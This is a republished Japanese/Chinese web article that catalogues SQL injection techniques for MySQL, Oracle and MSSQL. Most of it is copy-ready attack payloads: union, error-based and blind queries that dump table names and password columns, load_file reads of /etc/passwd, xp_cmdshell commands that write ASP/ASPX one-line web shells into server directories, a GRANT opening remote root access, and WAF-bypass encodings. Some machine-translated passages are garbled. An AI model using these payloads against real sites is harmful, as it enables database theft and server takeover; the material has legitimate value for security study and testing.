ホームページ  >  記事  >  運用・保守  >  SQLインジェクションにはどのような種類がありますか?

SQLインジェクションにはどのような種類がありますか?

WBOY
WBOY転載
2023-05-18 22:05:122018ブラウズ

序文

SQL インジェクション攻撃手法は、データベースから返されたコンテンツを処理するアプリケーションに応じて、明示的インジェクション、エラー インジェクション、ブラインド インジェクションに分類できます。

明示的なインジェクション

攻撃者は、現在のインターフェイス コンテンツ内の目的のコンテンツを直接取得できます。

エラー挿入

データベース クエリの戻り結果はページに表示されませんが、アプリケーションはデータベース エラー情報をページに出力するため、攻撃者はデータベースエラー エラーメッセージから必要な内容を取得するためのステートメント。

ブラインド インジェクション

直感的なページからはデータベース クエリの結果を取得できません。攻撃者は、データベース ロジックを使用するか、データベース ライブラリの実行を遅延させることで、必要なものを取得します。 。 コンテンツ。

#Mysql 手動インジェクション

liang インジェクション
?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+

group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

エラー レポート インジェクション

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()

select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));
5 .multipoint()

select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));
6.polygon()

select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));
7.multipolygon()

select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));
8.linestring()

select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));
9.multilinestring ()

select \* from test where id=1 and multilinestring((select \* from(select \* from(select user())a)b));
10.exp()

select \* from test where id=1 and exp(\~(select \* from(select user())a));

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema\_name),0x7e) from information\_schema.schemata limit 2,1),1) -- +

爆表:?id=1' and updatexml(1,(select concat(0x7e,(table\_name),0x7e) from information\_schema.tables where table\_schema='security' limit 3,1),1) -- +

爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column\_name),0x7e) from information\_schema.columns where table\_name=0x7573657273 limit 2,1),1) -- +

爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
盲注

タイムブラインドインジェクション

一般的に使用される関数 sleep()

分割関数substr , substring, left

分割関数 ascii() hex() をエンコードした後は引用符は必要ありません。

一般に、ブラインド インジェクションの場合は、条件付き判断も使用する必要があります。 function

if (expre1 , expre2, expre3)

expre1 が true の場合は expre2 を返し、false の場合は expre3 を返します

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

ブール ブラインド インジェクション

?id=1' and substr((select user()),1,1)='r' -- +

?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

//如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +

//若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
insert,delete,update
この種のインジェクションは、データを書き込む必要がある登録、IP ヘッダー、掲示板などに表示されます。たとえば、sqlmap を使用すると大量のガベージ データが生成されます

試行挿入、引用符、二重引用符、エスケープ文字\ によりステートメントは正常に実行できなくなります。その後、挿入が失敗すると更新も失敗し、詳細なテストによってインジェクションがあるかどうかが判断されます

2 番目のインジェクションとワイド バイト インジェクション

セカンダリ インジェクション:

一重引用符のない SQL ステートメントでは、一重引用符が存在しないように 16 進エンコードを実行します。

ワイド バイトインジェクション:

一重引用符エスケープは ' です。mysql は \ を \ としてエンコードします。ワイド バイトの 2 バイトは漢字を表すため、\ に � を追加すると、漢字の「運」に変わります。これによりエスケープをバイパスします


Oracle 手動インジェクション
リアン インジェクション

?id=-1' union select user,null from dual--

?id=-1' union select version,null from v$instance--

?id=-1' union select table\_name,null from (select \* from (select rownum as limit,table\_name from user\_tables) where limit=3)--

?id=-1' union select column\_name,null from (select \* from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=2)--

?id=-1' union select username,passwd from users--

?id=-1' union select username,passwd from (select \* from (select username,passwd,rownum as limit from users) where limit=3)--
エラー インジェクション

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select table\_name from (select rownum as limit,table\_name from user\_tables) where limit= 3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select column\_name from (select rownum as limit,column\_name from user\_tab\_columns where table\_name ='USERS') where limit=3))--

?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

ブール ブラインド インジェクション

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--

?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--

?id=1' and ascii(substr(user,1,1))> 64--

タイム ブラインド インジェクション

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--

?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS\_PIPE.RECEIVE\_MESSAGE('a',5) else 1 end)--

SQL 手動インジェクションインジェクション ポイントが存在するかどうかを確認する

数値型

url を挿入した後、

and 1=1

and 1=2

## と入力します。 #戻り値が異なる場合は、注入ポイントが存在すると判断できます

例:

http://www.xxx.cn/news.php?p=1&id=4' 戻り値エラー

http://www.xxx.cn /news.php?p=1&id=4および1=1は正しい

http://www.xxx.cn/newsを返します。 php?p=1&id=4 および 1=2 はエラーを返します

文字タイプを

に挿入し、

' と 1=1 を入力します。 '1'='1

' および 1=2 および '1'='1

http://www.xxx.cn/news.php?p=1&id=4'エラーを返します

http://www.xxx.cn /news.php?p=1&id=4' および 1=1 および '1'='1 は正しい

http:/ を返します/www.xxx.cn/news.php?p=1&id=4' および 1=2 および '1'='1 はエラーを返します

#検索インジェクション

#入力ボックスに ' と入力するとエラーが返されます

x%' と 1=1 および '%'=' は正しい

x%' と 1= を返します2 と '%'=' はエラーを返します

フィールドの数を判断する

digit


http://www.xxx.cn/news.php?p=1&id=4 order by 26 は正しい結果を返します

http://www.xxx.cn/news .php?p=1&id=4 order by 27 Return error

結論: フィールドの数は 26 です。

文字タイプ

http://www.xxx.cn/news.php?p=1&id=4' 26 順 # 正しい値を返します

http:// www.xxx.cn/news.php?p=1&id=4' order by 27 # Return error

結論: フィールド番号 26。

検索タイプ

xx%' order by 26 # 正しい

xx%' order by 27 # エラーを返す

結論: フィールドの数 26 。

表示可能なフィールドの検索

数値タイプ


http://www.xxx.cn/news.php?p=1&id=4 および 1=2 結合選択 1、2、3 ,4,5,6,7,8,9,....

文字タイプ

http://www.xxx.cn/news.php?p=1&id= 4 ' および 1=2 結合選択 1,2,3,4,5,6,7,8,9,....

#検索タイプ

#x%' および 1 = 2 Union select 1,2,3,4,5,6,7,8,9,....

#データベース名の確認


数値型 http://www.xxx.cn/news.php?p=1&id=4 および 1=2 Union select 1,2,database(),4,5,6,7,8,9,.. 。 .

文字タイプ

http://www.xxx.cn/news.php?p=1&id=4' と 1=2 Union select 1,2,database(), 4 ,5,6,7,8,9,....

#検索タイプ

x%' および 1=2 Union select 1,2,database(),4, 5 ,6,7,8,9,....

#データベース内のテーブル名を確認してください


数値型http://www。 xxx .cn/news.php?p=1&id=4 および 1=2 結合選択 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14, 15 ,16,17 from information_schema.tables where table_schema='データベース名'

データベース名には 16 進数も使用できます

文字タイプ

http://www.xxx.cn/news.php?p=1&id=4' および 1=2 共用体選択1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='データベース名'

#データベース名には 16 進数も使用できます

検索タイプ

#XX%' および 1=2 Union select 1,2,group_concat(table_name),4,5 ,6,7 ,8,9,.... from information_schema.tables where table_schema='データベース名'

#データベース名は 16 進数でも可能です


テーブルの列名を検索します

numeric

http://www.xxx.cn/news.php?p=1&id=4 および 1=2 Union select 1,group_concat(column_name) ,3,4,5 ,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='テーブル名'

テーブル名も 16 進数を使用できます

文字タイプ

http://www.xxx.cn/news.php?p=1&id=4' および 1=2 Union select 1,group_concat( column_name),3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='テーブル名'

# テーブル名には以下を使用することもできます。 16 進数

search type

x%' および 1=2 Union select 1,2,group_concat(column_name),4,5,6,7,8 ,9,.... from information_schema.columns where table_name='テーブル名'

#テーブル名は 16 進数でも可能です


テーブル内のデータを検索します

数値型

http://www.xxx.cn/news.php?p=1&id=4 および 1=2 Union select 1,group_concat(ユーザー名,パスワード),3,4, 5,6,7,8テーブル名からの、9,10,11,12,13,14,15,16,17

文字タイプ

http://www.xxx. cn/news.php?p =1&id=4' および 1=2 Union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17 fromテーブル名

#検索タイプ

##x%' および 1=2 Union select 1,2,group_concat(username,password),4,5,6, 7,8,9,。 ...テーブル名から

#表示バージョン: select version();

表示文字セット: select @@character_set_database;

表示データベース show names;

テーブル名の表示: show tables;

コンピュータ名の表示: @@hostname を選択;

システム バージョンの表示: @@version_compile_os を選択;

mysql パスの表示: select @@basedir;

データベース パスの表示: select @@datadir;

root パスワードの表示: mysql.user から User,Password を選択;

外部接続を開く: GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

MySQL 関数の使用法


MySQL には、ユーザーがファイルをすばやく読み取るのに役立つload_file() 関数が用意されています。ただし、ファイルの場所はサーバー上にある必要があり、ファイル パスは絶対パスである必要があり、root 権限が必要です。

SQL ステートメントは次のとおりです: Union select 1,load_file('/etc/passwd') ,3 ,4,5

#通常、一部のアンチインジェクションステートメントでは一重引用符の使用が許可されないため、次のステートメントを使用して回避できます:

union select 1,load_file( 0x272F6574632F70617373776427),3,4 ,5

# パスを 16 進数に変換します。

MSSQL 手動インジェクション
SQL インジェクションとは異なり、SQL は爆発表示フィールドを使用しますが、MSSQL はエラー レポート インジェクションを使用し、悪意のある SQL ステートメントを挿入し、クエリにエラーを報告させます。エラーが発生した場合は、必要な情報が表示されます。

挿入ポイント:

www.xxx.cn/xxx/xxx.aspx?id=1

クエリ データベース バージョン
@@ version: MSSQL グローバル変数。データベースのバージョン情報を示します。

テスト ステートメント:

http://www.xxx.cn/xxx/xxx.aspx?id=1 および @@version>0

注: "および@@vsersion>0" は、"and 0/@@version>0" と書くこともできます。

エラー メッセージ:

nvarchar 値を 'Microsoft SQL Server 2008 R2 (SP3) に変更するとき) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) o​​n Windows NT 6.1

理由:

@@version は MSSQL のグローバル変数です。「?id=1」の後に「and @@version>0」を追加すると、「and」はステートメントになります。 「@@version」を強制的に int 型に変換して 0 と比較しますが、型変換が失敗するため、データベース情報が公開されます。

クエリ コンピュータ名
@@servername: コンピュータ名を表す MSSQL グローバル変数。

エラー メッセージ:

nvarchar 値 'WINDOWS-XXXXXX' をデータ型 int に変換できませんでした。

現在のデータベース名のクエリ
db_name(): 現在使用されているデータベース名。

エラー メッセージ:

nvarchar 値 'abc' をデータ型 int に変換できませんでした。

現在データベースに接続しているユーザーをクエリします
User_Name(): 現在データベースに接続しているユーザー。

エラー メッセージ:

nvarchar 値 'dbo' をデータ型 int に変換できませんでした。

注: dbo が表示される場合は、現在のデータベースのほとんどのユーザーが dba 権限を持っていることを意味します。

他のデータベース名をクエリする
他のデータベースを展開する:

http://www.xxx.cn/xxx/xxx.aspx?id=1 および ( SELECT トップ 1 名前 FROM Master..SysDatabases)>0

エラー メッセージ:

nvarchar 値 'master' をデータ型 int に変換中に失敗しました。

他のデータベースは次のように記述します:

http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master.. SysDatabases where name not in ('master'))>0

続行するには、次のように記述します:

http://www.xxx.cn/xxx/xxx.aspx?id= 1 および(SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0
データベース内のテーブル名をクエリします

テーブル名を検索します:

http://www.xxx.cn/xxx/xxx.aspx?id=1 および (abc.sys.all_objects から上位 1 の名前を選択します。ここで type= 'U' AND is_ms_shipped=0)>0

エラー メッセージ:

nvarchar 値 'Depart' をデータ型 int に変換できませんでした。

他のテーブルを探索します:

http://www.xxx.cn/xxx/xxx.aspx?id=1 および (abc.sys.all_objects から上位 1 の名前を選択します。ここで type = 'U' AND is_ms_shipped=0 および名前が含まれていません ('Depart'))>0

Continue:

http://www.xxx.cn/xxx/xxx.aspx? id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('Depart','worker'))>0
クエリ テーブルの列名またはフィールド名

フィールド名を確認してください:

http://www.xxx.cn/xxx/xxx.aspx?id=1 および ( 上位 1 つを選択してください) COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='Depart')>0

エラー メッセージ:

nvarchar 値 'ID' をデータ型 int に変換できませんでした。

他のフィールドを調べます:

http://www.xxx.cn/xxx/xxx.aspx?id=1 および (abc から上位 1 つの COLUMN_NAME を選択してください。 information_schema.columns where TABLE_NAME='delivery' and COLUMN_NAME not in ('ID'))>0

Continue:

http://www.xxx.cn/xxx/xxx。 aspx?id=1 および (TABLE_NAME='payment' および COLUMN_NAME が ('ID','NAME') にない abc.information_schema.columns から上位 1 つの COLUMN_NAME を選択してください)>0
爆発的なデータ

クエリ データ:

http://www.xxx.cn/xxx/xxx.aspx?id=1 および (出発から上位 1 のパスワードを選択)>0

エラー メッセージ:

nvarchar 値 'B5A1EF8730200F93E50F4F5DEBBCAC0B' をデータ型 int に変換できませんでした。
一文のトロイの木馬の作成

データ権限が dba で、Web サイトの絶対パスがわかっている場合、このステートメントを使用して一文のトロイの木馬を作成できます。 :

asp トロイの木馬:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE= VBSCRIPT %> ;;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'--

aspx トロイの木馬:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb "), "unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' --

原則として、SQL サーバーはスタック クエリをサポートしており、xp_cmdshell を使用してcmd 命令を実行します。これは cmd 命令 [echo content>File] で使用され、ファイルをディスクに書き込むことができます。
WAF をバイパスするには 16 進エンコーディングを使用します

http://www.xxx.com/xxx/xxx.aspx?username=xxx Firefox ブラウザのハックバー ツールのエンコーディングで「HEX エンコーディング」を使用します。簡単にエンコードします。文字列を悪用可能な 16 進数に変換し、エラー挿入を使用して Web サイトに挿入します。
爆発的なデータベース バージョン

select Convert(int,@@version)

16 進エンコード後: 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29

次に、次のメソッドを使用して、挿入:

http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–

エラー メッセージ:

nvarchar 値は 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 2010 年 4 月 2 日 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-) bit) o​​n Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)' データ型 int への変換に失敗しました。

次の注入ステートメントに注意してください:

dEcLaRe @s vArChAr(8000) //ローカル変数 @s を宣言し、varchar(8000)

sEt @s と入力します。 = 0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //「select Convert(int,@@version)」の 16 進エンコーディングである @s に値を代入します

eXeC(@s) //関数 exec() を呼び出して「@s」を実行します" コンテンツ。
現在のデータベースを展開します

selectconvert(int,db_name())
現在のユーザーを展開します

selectconvert( int, User_Name())
精品

select Convert(int,(abc[データベース名].sys.all_objects where type='U' AND is_ms_shipped から上位 1 つの名前を選択= 0)) select Convert(int,(abc[データベース名].sys.all_objects から上位 1 の名前を選択します。ここで、type='U' AND is_ms_shipped=0 および名前は ('CMS_ArticleClass') にありません))
爆発フィールド

select Convert(int,(abc[データベース名].information_schema.columns where TABLE_NAME='CMS_Userinfo[テーブル名]') から上位 1 つの COLUMN_NAME を選択します) select Convert(int,(abc[データベース名] から上位 1 つの COLUMN_NAME を選択します) ] ].information_schema.columns where TABLE_NAME='CMS_Userinfo[テーブル名]' および COLUMN_NAME が ('id')) にありません))
爆発的なデータ

select Convert(int,( CMS_Admin から上位 1 のユーザー名を選択)) select Convert(int,(CMS_Admin から上位 1 のパスワードを選択))
SQL インジェクション Q&A ヒント

1.id-1 (ページの場合)正しいページが返されます。これはインジェクションがあることを意味します。1 は大丈夫ですか? (www.test.com/xsn.php?id=12 1)

は、プラス記号が URL 内のスペースを意味するため、機能しません。

2. mysql にはアノテーションがいくつあるかご存知ですか?

3 種類: ①.# このコメントは行末まで続きます; ②./複数行コメント/; ③.– このコメントは行末まで続きます。

3 番目の方法については、これまでこの書き方に慣れていなかったので説明が必要です。 「-」はコメント文字としての印象がまだ残っていますが、「-」は頭が痛くなります。実際には - ですが、- の後にスペースがあることに注意してください。 URL にスペースを直接入力すると、ブラウザは自動的にそれを無視し、データベースに渡すことができません。そこで、特にプラス記号に置き換えました。

3. 「select select * from admin」は実行できますか?そうでない場合は説明してください。

実行できません。選択二重レイヤーを使用する場合、2番目のレイヤーを囲わないと無効になります。

スペースがフィルターで除外された場合、それを回避する方法を知っていますか?または、どの文字がスペースの代わりに使用できるか知っていますか?これらの文字は空白文字と呼ばれます。国連など ion は共用体として扱われます。スペースがフィルタリングされている場合、可能な SQL ステートメントは次のようになります: uid=45or1=1 のメッセージから選択します。スペースを置き換えるには // を使用できます: http://www.xxx.com/index.php?id= 45 //または/**/1=1 さらに: /|–|/ /@–|/ /?–|/ /| – |/ はスペースを置き換えることができます。

5.Windows での Oracle データベースの権限は何ですか? Windows 上の Oracle データベースはシステム権限で実行する必要があります。

6.SQL インジェクションとブラインド SQL インジェクションの違いは何ですか?

通常の SQL インジェクションでは、アプリケーションはデータベース内のデータを返し、それをユーザーに提示しますが、ブラインド SQL インジェクションの脆弱性では、true と false の条件に対応する 2 つの異なる値しか取得できません。これに応じて、アプリケーションは true 条件と false 条件に対して異なる値を返しますが、攻撃者はクエリ結果を取得できません。

7. SQL インジェクションの脆弱性の主な原因は何ですか?

ユーザーが提供したデータを適切にレビューせず、出力をエンコードしない Web アプリケーションが問題の主な原因です。

8.スタッククエリとは何ですか?

単一のデータベース接続では、複数のクエリ シーケンスが実行されます。スタックされたクエリが許可されるかどうかは、SQL インジェクションの脆弱性が悪用されるかどうかに影響を与える重要な要素の 1 つです。

MYSQL では、SELECT * FROM メンバー; DROP メンバー; を実行できますデータベースはスタック クエリを確実にサポートしていますが、スタック クエリの SQL ステートメントを PHP に実行させることはできない可能性があります。

/*! ...*/

これはどういう意味ですか?

MYSQL データベースに特有のことですが、コメントの先頭に感嘆符を追加し、その後にデータベースのバージョン番号を追加すると、データベースのバージョンがそれ以降である限り、コメントはコードに解析されます。コメントに含まれるバージョン コードが実行されます。

select 1 /!40119 1/

クエリ結果:

Return 2 (MySQL バージョンは 4.01.19 以降)

Return 1 (その他の状況)

10. インジェクション ステートメントの '=' がフィルタリングされている場合はどうなりますか?

like キーワードを使用して置換することを検討できます: Union select password from users where username like admin;

11. スペースがフィルタリングされた場合はどうなりますか? '/**/'置換:

union//select//password//from//users//where//username//like//admin;

キーワードがフィルタリングされている場合、MySQL では、キーワード内でインライン コメントを使用して次を回避することもできることに注意してください:

uni/ /on// sel//ect//password//fr//om//users//wh//ere//username//like//admin;

12. SQL インジェクションの ' ' ですか?

MSSQL: MSSQL では、" " 演算子は文字列の連結および加算操作、'1' '1'='11'、1 1=2 に使用されます;

MySQL: MySQL では, " " 演算子は加算演算にのみ使用されます, '1' '1'='2', 1 1=2;

Oracle: Oracle では、" " 演算子は加算演算にのみ使用されます。 「1」「1」=「2」、1 1=2。

13. データベース内の文字列のコネクタは何ですか?

MSSQL: 'a' 'b'='ab'

MYSQL: 'a' 'b'='ab'

Oracle: 'a'||' b'='ab'

14. コメント記号

MSSQL: '-- ' (後のスペースに注意)、'/.../'

MySQL: '-- ','# ','/.../'。-- の後には 1 つ以上のスペースが必要であることに注意してください。

Oracle: '-- ','/.../'

3 つのデータベースで共通のコメント文字は '-- '
WAF bypass
ルール レベルのバイパス
SQL コメント文字バイパス

union/**/select

union/aaaa bbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

インライン コメント: /!xxxx / の使用を検討できます。
空白のバイパス:

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正则的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select
函数分隔符号:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(
浮点数词法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select

1,2,3,4,5,6,7,8,9,0
利用error_based进行SQL注入:

Error-based SQL注入函数非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

MySQL特殊语法

select{x table_name}from{x information_schema.tables};
每一个点都能找到绕过的方法

以注释绕过为例子,开始Fuzz

注释符绕过:

*先测试最基本的: union/**/select

*再测试中间引入特殊字:union/aaaa%01bbs/select

*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select

大小写绕过

即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。

例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过

如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。

例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过

可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。

http://tool.chinaz.com/Tools/urlencode.aspx 1
内联注释绕过

在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过过滤and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小写不敏感,大写和小写一样。

2、Mysql中的十六进制与URL编码。

3、符号和关键字替换 and --> &&、or --> ||

4、内联注释与多行注释 /!内联注释/ /多行注释/。

5、Mysql中会自动识别URL与Hex编码好的内容。

绕过策略:

1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。

2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr

3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入

编码:hex,urlencode

空格URL编码:

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

Sqlmap安全检测:

sqlmap -u “URL” --hex --dbs --batch
绕过去除(union和select)的SQL注入

编码%0a、加入/**/符,union/select大小写、双写等绕过。

以上がSQLインジェクションにはどのような種類がありますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。